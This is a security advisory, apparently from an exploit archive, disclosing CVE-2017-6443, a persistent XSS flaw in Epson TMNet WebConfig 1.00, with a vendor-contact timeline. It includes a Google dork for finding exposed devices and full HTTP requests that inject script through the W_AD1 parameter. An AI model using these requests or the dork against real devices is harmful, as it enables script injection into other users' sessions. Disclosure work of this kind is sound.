EPSON TMNet WebConfig 1.00 – Cross-Site Scripting
# Exploit Title: Persistent XSS in EPSON TMNet WebConfig Ver. 1.00 # Google Dork: intitle:"EPSON TMNet WebConfig Ver.1.00" # Date: 3/3/2017 # Exploit Author: Michael Benich # Vendor Homepage: https://www.epson-biz.com/ # Software Link: https://c4b.epson-biz.com/modules/community/index.php?content_id=50 # Version: 1.00 # CVE: CVE-2017-6443 # Contact: benichmt1@protonmail.com // @benichmt1 ##################################################################################### Summary: Persistent cross-site scripting (XSS) in the web interface of Epson's TMNet WebConfig Ver 1.00 application allows a remote attacker to introduce arbitary Javascript via manipulation of an unsanitized POST parameter. Steps to reproduce: 1)Make a POST request using Burp Proxy or other application ------------------------------------------------------------------------------------------ POST /Forms/oadmin_1 HTTP/1.1 Host: XXX.XXX.XXX.XXX User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://XXX.XXX.XXX.XXX/oadmin.htm Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 47 W_AD1=<script>window.alert(0)</script>&W_Link1=&Submit=SUBMIT ------------------------------------------------------------------------------------------ 2) Browsing to the main page will execute your script. This remains persistent for any user who then visits this page. GET /istatus.htm HTTP/1.1 Host: XXX.XXX.XXX.XXX User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://XXX.XXX.XXX.XXX/side.htm Connection: close Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------------------------ Timeline: ------------------------------------------------------------------------------------------ 12/1/2016 - Discovery. 12/9/2016 - Emailed support@ , info@ , and domain-admin@ emails. No response. 12/16/2016 - Pinged on Twitter. Recommended to contact through support. 12/22/2016 - Reached on LinkedIn directly to individual listed as Security Engineer and asked to find proper security contact channel. No response, but the connection request was accepted. 3/3/2017 - Disclosure ------------------------------------------------------------------------------------------ |